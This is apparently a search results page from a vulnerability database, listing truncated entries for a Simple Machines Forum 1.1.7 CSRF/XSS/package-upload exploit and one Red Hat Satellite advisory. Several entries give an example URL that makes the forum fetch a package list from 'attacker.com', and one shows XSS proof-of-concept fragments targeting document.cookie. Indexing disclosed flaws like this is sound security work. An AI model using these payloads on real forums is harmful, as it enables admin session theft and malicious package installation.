145 matches found
Simple Machines Forum <= 1.1.7 - CSRF/XSS/Package Upload
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...
RHEL 6 : Red Hat Network Satellite spacewalk-backend (RHSA-2012:0436)
The remote Redhat Enterprise Linux 6 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2012:0436 advisory. Red Hat Network RHN Satellite is a systems management tool for Linux-based infrastructures. It allows for provisioning, monitoring, and remote...
Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
Exploit for unknown platform in category web applications =========================================================== Simple Machines Forum Xianur0 Was Here SMF XSS PoC By Xianur0 alert'XSS' Xianur0:XSMF SMF PoC By Xianur0 smfexploit.zip 0.1 Xianur0 alertdocument.cookie /package-l...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...